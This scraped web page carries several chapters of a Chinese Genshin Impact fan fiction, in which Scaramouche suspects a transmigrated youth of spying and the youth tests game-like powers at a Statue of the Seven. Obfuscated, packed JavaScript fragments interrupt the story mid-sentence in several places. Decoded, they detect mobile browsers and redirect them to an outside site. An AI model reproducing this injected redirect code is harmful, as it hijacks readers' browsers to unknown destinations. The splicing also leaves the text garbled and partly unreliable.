RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353574|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我们只是讲了一些……无伤大雅的小故事,诸如您奋勇退敌、治下严明……” “那少年也听得很投入,被您的英勇事迹深深感动,还缠着我们想听更多,我都讲得有些口干舌燥了。” “他还说,他也想加入愚人众。想来他是将您视作榜样,受到您的鼓舞,励志投身于我们的事业之中。” “……”散兵皮笑肉不笑,“你们还没老,但也该去买点保健品了。” 下属们熟悉散兵的损人风格,确信是自己做错了事。结合前因后果,他们很快得出了猜测:“您是说……那个少年有问题?” 散兵便把拉基老爷的遭遇和二人说了。 讲述完毕后,他欣赏着下属们震惊的表情:“现在你们还觉得,他是你们口中的‘善良小孩’吗?” 两人神色严肃起来,回忆起与乘晞相处的点点滴滴。 “难道他缠着我们讲述您的事迹,就是为了探听有关您的更多信息?” “不排除有这种可能。”散兵说。“拉基提到过,乘晞有某种武器,你们可有注意到?” 下属摇摇头。“我用元素力给他检测的时候,并没有发现任何异常。” 做扫描之用的雾气在水元素加持下,连人体的内脏都能渗透。银发少年虽然衣袖繁复,但如果身上藏了什么东西,也逃不过元素力的查探。 谈话间,又有一位黑衣人无声出现,向散兵汇报了些什么。 “没搜到么。”散兵重复了一遍,眸色暗下来。 在离开仓库时,他便吩咐这位属下将所有乘晞待过的地方全部搜一遍,尤其是那间餐厅,寻找任何疑似武器的东西。 在拉基的供述中,那少年拿着一把伪装成泡泡枪的银色物件。散兵闯入时,事情还发生没多久,少年要么将武器随身携带,要么就只能藏在房间的里某个地方。 散兵并不怀疑下属的搜查技术,“难道有什么障眼法?” 拥有元素魔力的人类,可以与武器缔结联系。如若遇见了心仪的武器,成功与之建立这种联结后,武器便会成为自身的专属武器,可以与人心神相连,受到持有者的魔力操控,召之即来,挥之即去。 “可属下并没发现乘晞有神之眼。”黑衣女说。 “你又怎么知道,他不是把神之眼藏起来了。”散兵凉声道。 神之眼作为人类的外置魔导器官,可以出现在人类的任何部位。人们可以将其挂在腰间,或者悬于心口、垂于背后,甚至将其镶在衣带里、嵌在耳坠上。 倘若乘晞有心隐藏自己的神之眼,便不会轻易被人发现。 “但他的身体状况做不了假,”黑衣男道,“属下检查过,他确实饥饿、无力、发烧。如果他有神之眼,又怎么会把自己弄成那副模样?” 神之眼给予持有者操纵元素魔力的天赋,可以在一定程度上强化持有者的身体,寻常的受凉根本不会让他们生病。 “所以他是在做局,”黑衣男顿悟,“不惜伤害自己,也要取信于我们?” 黑衣女难得没和他唱反调,“以受害者的姿态出现,确实不容易引人怀疑,反倒能博人同情。” 散兵示意二人靠近,低声吩咐了些什么。 下属们弯腰领命。 “事不宜迟,”散兵摆摆手,“迟则生变。” 黑衣女没忍住问了句,“可是大人,万一他真的是……” 散兵和颜悦色:“那就杀了。” 8. 08 人在生病的时候往往睡不深,乘晞也是如此。 他这一天经历了太多事情,堪称跌宕起伏,疲惫的神经急需休憩。发烧带来的昏沉与不适搅荡着大脑,将他的意识拽入并不踏实的睡眠。 半梦半醒间,乘晞感觉有人摇晃自己的肩膀。 “怎么了?”他睡眼惺忪。 黑衣女子道,“我们担心你的情况,所以过来看看。” 黑衣男子点头,“再来给你检查一下,比较妥当。” 乘晞配合的坐起来,手掩着唇打了个哈欠。 他眼中带了些生理性的泪水,映着从天花板落下的灯光,越显朦胧,“麻烦你们了。” 黑衣女不禁在心中感叹:如果这也是演的,那他的演技也太过自然了。 “不麻烦,主要是担心你。我们有义务保护民众的生命安全和身体健康。”黑衣男以公事公办的语气道,“介意把手腕伸给我吗?” 肢体接触可以让元素力查探的效果倍增。早些时候,他操纵水雾对少年的检查中,并未与对方产生任何接触。现在提出这样的请求,如果少年心中有鬼,一定不会对此毫无反应。 黑衣男紧盯着乘晞的面色,不放过少年脸上一丝一毫的变化。 少年并没有伸手,而是眼睛微微睁大了。 黑衣男在心中拉响警铃——难道,真的要露出破绽了? “担心我?”乘晞有些雀跃的问,“是谁担心呀,散兵大人也在担心吗?” 黑衣男缓缓:? 黑衣女:“……大人为什么要担心你。” 她原本都做好和对方动手的准备了,没想到对方的异常反应只是因为关注点过于清奇。 乘晞脸上的失落神色一闪而过。看来是没担心。 “这也正常,他和我才认识第一天。”乘晞很快就把自己哄好了,“不过没关系的,我们来日方长。” 黑衣女和黑衣男对视,从彼此眼中看到了浓浓的疑惑:?? 怎么就开始来日方长了? “哦,你刚才说什么来着,伸手是吧。”乘晞终于关注到对方的重点。 他将双手向上翻起,并着排伸向黑衣男。 黑衣男微妙的沉默了片刻,“一只手就好。” 乘晞毫无防备的把手递出去,也不在意对方指尖亮起的浅蓝色元素力。他用力闭了闭眼睛再睁开,试图与困意对抗。 黑衣女在乘晞面前做了个复杂的手诀,掌心凭空浮起一道半透明的符文,是某种古老难以辨识的字母,笔画中有魔力波动隐隐流淌。 乘晞如同在观看魔术,发出惊奇的感叹:“哇。” 黑衣女嘴角一抽,将符文拍到了乘晞身上。 乘晞完全没躲,安静的等待了片刻,似乎在用全身上下的每一个细胞感受符文的力量。 末了他问,“我为什么没感觉?” 黑衣女讪讪,“没感觉是正常的。这只是个探测符咒。” 黑衣男操纵着元素力,反反复复在乘晞身上试了好几遍。久到乘晞都困到开始下巴点胸口,他才与黑衣女对了个眼神。 “可以了。”二人将乘晞扶着躺下。 随后他们面面相觑。 黑衣男耸了耸肩。 黑衣女也摇摇头。 “那你先休息,”她对乘晞说,“等明天我们再——” 讲话没能得到回应,黑衣女子看向裹着毯子的银发少年。对方呼吸平稳,显然已经睡着了。 * 见两名下属空着手回来,散兵挑了下眉。 “大人,”黑衣女躬身,“属下试过了,他的身上不存在深渊力量。” ——散兵先前怀疑的,正是乘晞与深渊有关。 他们此行的行程未曾对外透露,目的也同样高度保密,乘晞偏偏在此时出现,时机拿捏得过于精准。如果不是愚人众内部走漏了风声,那么有极大可能,乘晞是从另外的方向追踪着那批货物一路过来,才与他们相遇的。 愚人众的研究表明,深渊力量间可存在不同程度的相互感应。货箱里隐藏着愚人众取样的深渊物质,倘若乘晞是归属于深渊势力的人,一切便都说得通了。 黑衣女子使用的符咒,正是愚人众研究员们根据已覆灭古国残余的文献,不断试验并还原出来的探测咒法。符文原本是透明的,如果探查到深渊力量,就会呈现出紫黑的颜色。 这道符咒对深渊力量的敏感性极高,探测对象并不需要拥有或掌控深渊力量,哪怕只是与拥有深渊力量的人发生过接触,甚至仅仅近期击退过来自深渊的魔物,都能出现色泽加深的变色反应。 “符咒对他没有任何效果。”黑衣女道,“而且据属下观察,他是第一次见这种咒法,完全不清楚符咒的来源与作用。” “除非他始终与深渊保持联系、却不直接接触,否则他根本就与深渊无关。” 这种可能性当然极小。 散兵沉思片刻,看向黑衣男,“你呢?” “属下也查验过了,乘晞身上没有元素力。”黑衣男道,“一点半点都没有。” 他甚至当时还不信邪,反复试了好几回,结果次次相同。“他就是一个普通人。” 不属于深渊的话,会属于哪股势力呢? 散兵觉得自己受到了挑衅——有某种不明势力,向他身边派出间谍卧底。这卧底是个少年人就算了,还是个毫无元素力量的普通人? “他一定有什么特殊之处。”散兵确信道,“只是我们暂时还没发现。” “您真的觉得乘晞是卧底吗?”黑衣女没忍住问。 “不然呢。”散兵说。 堇色眼眸带着凉意,“不然他为什么处心积虑的靠近我们,还总说那种……奇怪的话。” “请您去掉‘们’字,”黑衣男弱弱接话,“他主要是靠近您,那种奇怪的话也是对您说的。” 散兵瞪了他一眼,黑衣男立刻老实闭嘴。 “其实,乘晞刚才还和属下们提起您来着。”黑衣女补充。 散兵:“他说了什么?” 黑衣女:“他很关心您有没有担心他。并且还说,他要和您来日方长。” 散兵:“……” 来日方长?这一定是挑衅吧。 他有些头疼的摆了摆手,“都去歇息,明天再说。” 乘晞这一觉睡到太阳高照。 醒来后他摸了摸自己的额头,滚烫的温度已经退去,看样子是恢复了。 愚人众成员们都比他醒得早,乘晞并不知道,在这段时间里,对方已经对他的情况开展了一次小型的讨论会议。 有关乘晞的疑点主要有两处: 一是他不明的身份。 “初步判断他大概率与深渊无关,”散兵道,“不过如今局势复杂,各类社会与民间组织大量存在,他可能属于任何一股未知的势力。” “从他的长相看,并没有明显的种族特征,更猜不出来自哪个国家。” “他看起来出身应当不俗,真不是哪个世家大族的后辈?” “我在都城政要圈子里混了这么多年,可没听说过谁家有个银头发小男孩的。” 众人七嘴八舌。 “他瞧着年纪也不大,这么小就被组织派出来当卧底,到底是什么组织如此丧心病狂?” “你要这样说的话,咱们执行官大人看上去也只是个少年,实际年龄比在场所有人的岁数的总和都长。” “所以乘晞很可能不是人类?” “如果隶属于非人势力,又为什么要参与到人类的纷争里……据我所知,璃月的仙家大多隐居,几乎不过问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353575|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世事,稻妻的鬼族也很难融入人类,游离在社会边缘,须弥的兽族在沙漠受到压迫,时常与原住民发生冲突……” “有这张脸还做什么卧底,完全能轻轻松松维持生计。” “听说有的国家筛选卧底的前置条件就是相貌……” 眼看着话题越聊越偏,散兵示意大家安静,讲出了第二个疑点:乘晞不明的能力。 他们已经对庄园进行了细致的搜索,但拉基供述中提到的武器始终没有被发现,就如同凭空消失了一般。 “我不认为这世界上还有化有为无的魔法,”散兵道,“他大概率拥有某种操控物体的能力。” “或许他还有同伙,那些人接应他藏起了武器。” 众人继续猜测。 “又或许他当真属于非人种族,拥有特殊能力也并不奇怪。” 有人提出不如干脆动些手段,使用药物让对方开口。愚人众在审讯方面拥有辅助药物,虽然达不到文学作品里吐真剂的效果,但也能使受讯者的防备衰竭、思维迟滞,更大概率被撬出真话。 这个提议被散兵否决了。 想当初拉基在给乘晞准备的晚餐里加料,那种药物也是神不知鬼不觉的,可却被乘晞不知用什么手段看破,滴米未沾。 “他在这方面恐怕并不好骗,贸然行动只会打草惊蛇。” 讨论逐渐接近尾声。如散兵意料之中的那样,并没有得出什么进展性的成果。 他吩咐下属留意乘晞的动向,尤其是否会与其他可疑的人物接触。 下属们十分上道:“我们就当他只是一个被搭救的少年,表面上绝不会显露出任何异常。” 散兵点点头。放长线,钓大鱼。他们总会有识破对方伪装的那一天。 * 乘晞醒来之后,见到了愚人众请来的医生。 散兵当真如昨天所说的那般,为他请来了专业人士诊断失忆情况。 有时候甚至怀疑愚人众是不是有慈善副属性,乘晞想,他与散兵不过萍水相逢,对方居然如此细致的关照他的状况。 “谢谢散兵大人!”他冲散兵笑。 散兵回了一个虚假的微笑。 乘晞捂心口:救命啊他真好看! 旁观的下属们开始眼神交流。 “这个卧底明明没有失忆,散兵大人却为他找来专业医生,这怎么不算是一种无声的警告?” “散兵大人真是气场强大,只用一个笑容,就能让对方卧底心虚捂胸。” “既然失忆是个谎言,维持一个谎言需要无数的谎话来圆,长此以往终将露馅,执行官大人的计策果然长远。” 黑衣女打量着周围的同事,默默怀疑人生。 “……只有我一个人觉得,他真的不是卧底吗?” 医生很快结束了诊断。 “失忆的潜在病因有许多。如果是因外力导致脑部受伤的话,得到妥善治疗有概率能够恢复记忆。”他看向乘晞,“但这位先生的头部并不存在创伤,因此我推断外伤并非致病因素。” “精神心理因素引起的失忆,病情会更为疑难复杂。病症的因由不易追溯,病情的发展也难以推断。心理方面并非我的强项,”医生总结道,“如果想要治疗,建议转诊更为专业的机构,并且要做好经历漫长渺茫与疾病抗衡过程的准备。” 散兵对医生的论述左耳听右耳出。乘晞的失忆本就是伪命题,因此诊断与治疗毫无必要,他关注的是乘晞对此的反应。 乘晞先是对医生表达了谢意,紧接着对生病期间关照他的众人感谢了一圈,最后感谢到了散兵头上。 末了还说,“散兵大人,您不用太担心我。我即便失忆,也会好好生活的!” 散兵:“……” 到底哪只眼睛看出他有担心了? 9. 09 藏有样品的货箱已经从拉基手中追回,愚人众在此地的事程便解决完毕。 负责接送的车队来到庄园门口,众人整装待发。 乘晞没有任何行李,在旁看着其他人忙上忙下,偶尔还想去搭把手。 但大家看他的眼神都分外友好,让他老实歇着就够了。 队伍轻装简行,很快就准备启程。 成员们上了各自的车,乘晞站在原地等待安排,“我坐哪里?” 这件事情上司并未事先交代,众人也不知道如何回答,便纷纷看向散兵。 散兵目光扫过来,“你想坐哪辆车?” 乘晞试探的发出请求:“可以和你一起吗?” 周围顿时传来倒吸气声。 好大的胆子,居然提出与执行官大人同乘一车! 谁人不知,大人一向独来独往,并不喜欢与人接触。这个不知天高地厚的小卧底肯定要碰壁了。 然而,散兵并没有拒绝:“可以。” 说完转身上了车。 乘晞愣了一下,也跟着钻了进去,留一众下属们在外面面相觑。 车内。 散兵闭目养神,似乎因刚结束工作而有些疲惫。 乘晞在对面坐着,担心打扰对方,连呼吸都变得静悄悄。 散兵当然是装的。既然乘晞想与他同乘,他干脆将计就计,看看对方究竟想要做什么。 对方果然放轻了呼吸,显然即将准备进一步动作。散兵依旧假寐,浑身却已经戒备了起来。 等了许久,也没察觉到乘晞的行动。 散兵发现,对方的手脚都很老实,除了频频看他,没有任何其他动作。 他索性睁开眼。 便对上乘晞的目光,“你醒啦。” 散兵不由怀疑,莫非是自己的假寐被看穿了? 他率先向对方发难:“别以为我不知道你在偷看我。” 乘晞垂了下眼,完全被说中的样子。 被发现了,乘晞开心的想——果然啊,饱含爱意的目光就是有重量的!他感受到了我沉甸甸的爱! 散兵瞧着对方的模样,以为是心虚,便向后一靠,等着对方解释。 结果乘晞说:“我没有偷偷看你。” 散兵正欲反驳,乘晞又接着说:“我在光明正大的看。” “……” 散兵没有继续问为什么,因为昨天对方已经向他证明了会得到何种答案。 “你是不是很无聊?”散兵问。 “不哦,”乘晞回答,“只要和你待在一起,什么都不做也不会无聊的。” 散兵:“……” 这对话是没办法进行下去了。 散兵不再理乘晞,任由对方新奇的打量着车内的一切,一会看看窗外,一会看看他。 衣袋里有什么东西发出震动,散兵将其拿了出来。 巴掌大小的方形通讯设备,由执行官「木偶」研究发明,于数年前首次投入使用,如今已经在愚人众内部得到推广,成为了组织的专属通讯手段。 乘晞察觉了对方的动作,好奇道,“这是什么?” 散兵瞥了他一眼。 卧底打探消息,不应该都是百转迂回、含蓄婉转的么?这家伙就这么直截了当的问出来了。 “通讯器。”散兵回答。 反正也不涉及机密,他并不介意告诉对方。 乘晞懂了,大概类似于穿越前的手机。 “在商店里可以买到吗?” 说实话,他自己也很想拥有一个,探索一下提瓦特大陆的科技产物。 散兵心说想得美,“愚人众的内部设备,不对外销售。” 乘晞:“每个愚人众成员都有吗?” 散兵有种不祥的预感:“没错。” 乘晞星星眼:“太好了,我加入愚人众的理由又多了一个。” 听到这话,散兵便想起昨晚,这家伙对他解释过上一个理由是什么——“我想离你近一点。” 散兵心中恶寒,不过也忽然有了个主意。 他睨着乘晞开口:“昨天晚上的事情,别告诉我你忘了。” 乘晞眨眨眼:“我好像……记不太清楚了。” 他努力回想昨晚的情景。自己发烧了,有黑衣人过来照顾,然后聊了天,后来散兵也找过他,再后来黑衣人又来检查一次。他脑海里只有事情的梗概,当时迷迷糊糊的,具体的细节却没有办法回忆。 散兵冷下声音:“你对你说过的那些话,就没有什么要解释的吗?” 他在提起愚人众后发出这样的质问,是打了个心理战术。对方昨晚即便病着,也没能透露出什么有用的信息,现在散兵选择诈一下,想要试探对方是否会露出破绽。 乘晞迟疑:“我……我都说什么了?” 散兵:“你自己想。” 坏了,散兵好像生气了。 乘晞大脑疯狂运转,尝试回忆昨晚对话的内容——但是生气的样子也很好看呢——他把思绪扯回来。自己到底说了什么会让对方生气的话? 思考无果,乘晞只得如实道:“我真的不记得了。如果我做了什么冒犯的事情,我向你郑重道歉。” “但是,”他坚定的补充,“如果我说了什么诸如‘喜欢你’之类的话,请你务必相信,我是真心的。” 散兵:“…………” 看来是诈不出什么了。他压下心中的无语,扮演着他自认为他在乘晞心中应有的关切形象,“有关你失忆的事情,我刚刚在下属那里得知,他们在派人审问拉基的过程中,或许有一些线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这可是散兵亲手递给他的水!比任何琼浆玉露都珍贵! 散兵看着对方咕咚咕咚,很快喝干了一整杯:“……你还挺喜欢喝水的。” 乘晞放下杯子,嘴唇亮莹莹的。 “我喜欢喝水,”他眼睛转了转,似乎想起什么,“人体的含量百分之七十是水,所以——” “别再说什么‘你喜欢百分之七十的我’。”散兵没好气的打断。 “不哦,”乘晞摇摇头,“我喜欢百分之百的你。” 喜欢你的全部。 散兵:“…………” 10. 10 行至夜晚,车队停下来修整。 队伍成员们下了车,在空地处架起柴堆,准备制作晚餐。 他们是有在行李里准备干粮的,但此处天气寒冷,没人不喜欢吃更热乎的食物。 乘晞看着众人忙碌,觉得自己总不能闲着。 黑衣女从车上往下抬箱子,他便走过去帮忙。 “没事的,放着我来吧——” 黑衣女的话没说完,散兵走了过来:“让他搬。” 没有人会想不开和顶头上司唱反调,因此黑衣女也道,“那就麻烦小乘晞了。” 散兵面无表情的旁观着一切。 他这个下属似乎对乘晞很有好感,恨不得当亲弟弟看待。他可不会。 既然坐了他的车,就该付出一点劳动价值回报。 乘晞握紧箱子的边缘,才发现这东西真的很沉。 他手臂肌肉绷紧,持续发力终于将箱子抬起。 看着乘晞艰难的把箱子转移到指定位置,散兵在心里冷哼了一声。 这么弱,还逞什么能? 不远处的柴堆架好了。有人抬掌,召唤出火元素,木柴立刻燃烧了起来。 大家都围过去烤火,乘晞也跟着走向火堆。 感受着扑面而来的热浪,他活动着有些冻僵的手指,舒适的叹了口气。 隔着篝火,乘晞去看对面的散兵。 柴木毕剥作响,火苗不断跳跃,如同给视野增添了一层暖光滤镜。 对方的面容在篝火的映照下,似乎也显出些不易察觉的柔和来。 花痴犯够了,乘晞又注意到,在不远处的山坡旁,有一作石像伫立在那里,泛着淡蓝色的光,顶端的光柱直冲天际。 那是一座七天神像。 以前见这种东西都是隔着屏幕,如今能亲眼见到,没道理不走近看一看。而且关于意识中携带的游戏面板,乘晞还对自身有些许猜测,需要到神像处验证一下。 他去找散兵报备:“我可以离开一下吗?” “去做什么。”散兵问。 “那边有七天神像,”乘晞道,“我想去看看。” 提瓦特大陆共有七个国家,每个国家由司掌一种元素的神明执丨政。七天神像便是坐落在这片大陆的区域性信标,各国的神像都代表着该国神明的力量。 七天神像自古有之,人们早就对其司空寻常,也只有懵懂的孩童会觉得新奇了。 连一座神像都跟没见过似的,散兵心道,这家伙装失忆还真是做戏也要做全套。 恐怕查看神像是假,为了暂时与他拉开距离、以暗中筹谋自己的事情才是真。 “你去吧,”散兵点点头,“天黑路滑,注意安全。” “嗯嗯!”乘晞欢快的去了。 散兵不理解这家伙做卧底究竟有什么值得开心的事,为什么每次和自己说话都这么高兴。 等乘晞走远,他召来下属,低声交待了几句。 下属便隐匿身形,追在了乘晞身后。 一靠近神像,乘晞就觉得身心舒畅。 周围的山坡生长着松木,厚厚的积雪压弯了枝桠,他却一点都不感到寒冷。越靠近神像,温暖的感觉更甚。而且很神奇的是,虽然神像能给人带来温暖,却并没有融化周围的积雪,与周围的地理环境达到了某种独特的平衡。 乘晞在意识中打开面板,点进地图看了眼,发现自己所在的位置,正是一个七天神像的标点旁边。且点击神像,[传送]功能可以使用。 乘晞思索片刻,按下了传送功能。 眼前出现一瞬的模糊,乘晞感觉脚下失重,自己仿佛被塞入了某种高速运转的机器。但这样的感觉转瞬即逝,双脚就重新落地。 他出现在了神像前。 脑袋里有一点点晕,可以忽略不计。 乘晞兴奋的原地跳了一下——地图的传送功能果然可以使用! 他刚刚完成了一次成功的传送。乘晞回头看了看,先前自己按下传送的位置,与神像不过十几米距离。 看来近距离传送可以使用,而远距离传送暂时无法考虑。 所以当初他晕倒的缘故,此时也十分明了了——从至冬远去稻妻要跨山跨海,显然他没有足够的力量维持传送发生。 证明完自己的第一个猜测,乘晞开始进行第二项尝试。 他故意左脚绊右脚,结结实实的摔倒在地。 膝盖被撞得很疼,手肘也是。 但疼痛的感觉在逐渐减弱。 乘晞保持倒在地面的动作,继续感受着,直至疼痛完全消失。 ——七天神像能回血。乘晞得出结论。 在游戏里,靠近神像能够恢复生命值,而如今他亲身尝试,现实中的神像也同样具有缓和疗愈的功能。 不远处,黑衣人隐蔽在树丛中,观察着乘晞的一举一动。 散兵大人刚刚吩咐他,要他暗中跟随乘晞,记录对方的所有行动。 通讯器振了一下,黑衣人掏出来。 [散兵]:[?] 黑衣人禀报:[大人,乘晞独自来到了神像处,周围没有其他可疑人物接应。] [散兵]:[行为是否有异常?] 黑衣人打字:[他看起来十分柔弱,走走停停的,大概是一步三喘。还一不小心左脚绊到了右脚,扑通一声摔倒在地。倒地后的乘晞想必有些痛苦,迟迟没能爬起来,而是无助的趴在地面上。] [散兵]:[。] 黑衣人:[现在乘晞终于重新站了起来,他或许有些疲惫,正在做着深呼吸。他又原地跳了一下,幅度不大,唇角带着淡淡的笑,似乎很是欢喜。属下暂时推测不出他跳跃的原因。] [散兵]:[你可以闭嘴了。] 神像前,乘晞伸出了手。 接下来,就是见证奇迹的时刻—— 他将手掌竖着推出去,掌心贴在了神像上。 古老的石料历经风吹雨打,触手却光滑温润,仿佛是坐落于千百年时光里的永恒锚点,护佑着此方天地。 乘晞轻轻闭上眼,心脏怦怦跳起来。 他有些紧张的,感受着可能发生的一切变化。 风在轻轻的吹,雪花缓缓的飘,林中有簌簌声响,自己的心在跳,然后——然后无事发生。 乘晞睁开眼。 不对啊,事情不应该是这种走向。 乘晞看了看自己的手掌,又重新将手贴到神像上。 依然无事发生。 乘晞不信邪,对神像先后进行了拍、推等不同类型的触碰,并且换了好几处地方,绕着神像足足尝试了一整圈,仍旧没有感受到任何冰元素力。 他只好放下手。 看来,自己没有办法通过神像获得元素力量。 在游戏中,玩家能够通过与神像「共鸣」,从而获得操纵对应元素的能力。但在现实中,神像恐怕没有这个功能了。 乘晞扁扁嘴。穿越到提瓦特这片涌动着魔力的大陆,没有谁会不想感受元素的力量。可惜自己大概与元素力无缘。 但也可能是方式不对。乘晞想了想,有没有可能通过最常规的逻辑,通过神之眼获得元素力呢? 足够强烈的愿望能引起神明的注视,从而获得神之眼——乘晞想到就做。 他开始在神像前许愿:我要冰元素我要冰元素我要冰元素!大慈大悲救苦救难冰之女皇陛下!球球了球球了球球了我要冰元素力! “这好像并不是你最强烈的愿望呢。”一道女声忽然响起。 “谁?”乘晞一惊。 他环顾四周,却没有发现任何人影。 提瓦特是一片可以有鬼魂存在的大陆。乘晞试探的问了句,“你好,看不见的鬼女士?” 那声音又问,“你内心最强烈的愿望,是什么呢?” 乘晞这才意识到,那道女声既像响在他耳边,也像想在他的脑海中,仿佛是专门说给他一人听的。 “最强烈的愿望?”乘晞跟着重复,“我不知道。” “你是什么人?为什么会问我这个问题?” 那声音没再回答。 * 至冬宫。 一位身披斗篷的高大身影,端坐在殿内的高背椅上。男人白色的发尾从鬓间垂下,由深蓝与褐金纹路铸成的半张面具,遮住了他棱角分明的半张脸。 正是愚人众的统括官皮耶罗,代号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353577|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「丑角」。他是愚人众最初的执行官,也是当今十一位执行官的领袖。 男人的斜前方是重重帷幕。帷幕之后,隐约能看见一道女子的身形。 丑角锐利的冰蓝色眼睛抬起,“陛下,您召我来此,是为什么事情?” “又有一位「降临者」出现了。”女子开口。 如果乘晞也在这里,便能发现这女子的声音,与他在神像前听到的一模一样。 降临者来自「世界」之外,不受世界法则的约束,是提瓦特大陆十分特殊的存在。 有证据表明,深渊势力始终在积极探听降临者的消息,愚人众也同样对降临者十分关注。 丑角:“您见过那位降临者了?” 冰之女皇:“我「看」见了。” 丑角:“哪位降临者如何?” 冰之女皇沉默片刻:“他觉得我是鬼。” “……” “是否考虑将其招徕,”丑角问,“吸纳进入我们的队伍中?” “不急,”女皇回答,“再看。” * 七天神像不远处。 在乘晞问出那句“谁?”的时候,暗中的黑衣人顿时一惊。 他以为自己被对方发现了,正在疯狂打如何解释的腹稿。 但见乘晞环视四周之后,又回到原地不再说话,黑衣人才意识到对方刚才可能只是产生了错觉。 他换了个更为隐蔽的位置,拿出通讯器给散兵发消息:[大人,乘晞似乎对周围环境十分敏锐,刚刚怀疑附近有人,并发出一句简短的质问。但属下幸不辱命,并未被他察觉所在位置。] 散兵没搭理他。 不远处的树丛传来沙沙声响。乘晞起先以为是落雪的声音,但仔细看了片刻,总感觉里面有什么东西。 他蹑手蹑脚的走近灌木丛,在声音的来源处停下脚步。 乘晞伸手,拨开结霜的枝条,发现是一只浅蓝色的史莱姆。 史莱姆同样发现了他,蹦出树丛。 乘晞始终认为史莱姆是提瓦特大陆最可爱的生物之一。 圆滚滚的一只,看上去□□弹弹的,大眼睛也是竖着的椭圆形。这只史莱姆是冰系,通体冰蓝,顶部是落雪的颜色,还结着晶莹的霜花。 乘晞在内心直呼:完全是一只裹着糖霜的小麻薯! 他抵挡不住萌物的诱惑,伸手去摸。 指尖即将触碰到那些霜花时,史莱姆的椭圆眼镜迅速睁大了。 如果魔物的心思能够被具象化,此刻它的旁边应当立起一个亮色的感叹号。 史莱姆向后歪斜去躲,乘晞看着它韧性极强的球形身体扭出夸张的弧度,随后向前一弹。 给了乘晞一个头槌。 乘晞捂着胸口后退。 他刚才结结实实的挨了一下。史莱姆的头槌并没有很痛,和小狗激动时扑人的力度差不多。 但这家伙与小狗不同,是如假包换的元素生物。高纯度的冰元素力随着触碰穿透衣料,给人带来刺骨的寒凉,这感觉可一点也不好受。 史莱姆又在进行蓄力了,眼看即将再次起跳。 乘晞迅速躲到旁边的松木树干后。 史莱姆身体晃了一下,卸去力道,朝乘晞的方向蹦过来。 它每次与地面的接触都极富弹性,但乘晞立刻后退,拉开距离。这家伙安静的时候很可爱,追起人来就一点都不可爱了。 黑衣人拿出通讯器:[报告大人,发现敌袭!] [散兵]:[敌方情况如何?] 黑衣人:[一只史莱姆。] [散兵]:[你为什么会认为这种东西有报告的必要。] 黑衣人:[乘晞没有神之眼,属下不确定他能否应对这样的魔物。是否需要属下出面相助?] [散兵]:[除非他出现生命危险,否则你不必露面。] [散兵]:[继续观察,随时汇报。] 黑衣人:[遵命。] [散兵]:[现在情况如何?] 黑衣人抬头看了看:[乘晞绕柱走。] [散兵]:[?] 黑衣人:[乘晞逃,史莱姆追,他们都插翅难飞。] 11. 11 乘晞被史莱姆追着,在松树下绕了好几圈。 低等元素生物的智力并不高,但它大概也能感知到这个人类在躲它,于是追得更加起劲。 乘晞跑了一会,才意识到自己就在神像附近。 他脚下方向调转,跑去了七天神像。 史莱姆再怎么可爱,也归于魔物类属,基础攻击方式为“冲撞”。乘晞感受着神像带来的温暖,身前那股被创到的寒意终于消散。 ——神像能够回血,他在神像旁边打怪,岂不是无敌的? 乘晞挑衅的对史莱姆够了勾手指。 “你过来啊。” 小冰史莱姆还真过来了。 它纵身一个长距离跳跃,带着地面溅起的雪沫,滑到了乘晞身前。 乘晞围着七天神像,开始了新一轮绕柱走。 他都快跑累了,身后的史莱姆还蹦着穷追不舍。 乘晞有一种被狗遛了的无力。 冰天雪地之中,人走路并不轻松,但史莱姆却如履平地。一直躲下去是不可行的,乘晞决定主动出击。 他捡起地上的枯枝,三两下掰掉横生的枝杈,只剩一根直棍,对着凑近的史莱姆一戳。 史莱姆柔软的身体吃痛,向后躲开。 在近距离的较量中,武器长度决定胜负。 乘晞拿着木棍戳戳戳,冰史莱姆换了好几次方向,但都没办法近乘晞的身。 它最终放弃了攻击,朝着来时的方向离去。 乘晞松了口气。他注意到史莱姆离开的位置,落着什么晶莹的东西。 那团胶质状物质呈淡青色,乘晞走近,召出面板去看,显示[新鲜的史莱姆凝液]。 他第一次见史莱姆凝液有这种前缀,有些新奇的用手戳了戳,感觉像在碰一小块果冻。 在游戏中打怪有概率获得掉落物,但失去满级的角色与专武,亲身来到世界中,以赤手空拳普通人的身份应对魔物,属实并不轻松。 乘晞将史莱姆凝液收到了面板背包里。虽然他包里的史莱姆凝液早就999+,但这团具有不一样的意义。 才收起面板,身后又有沙沙声传来。 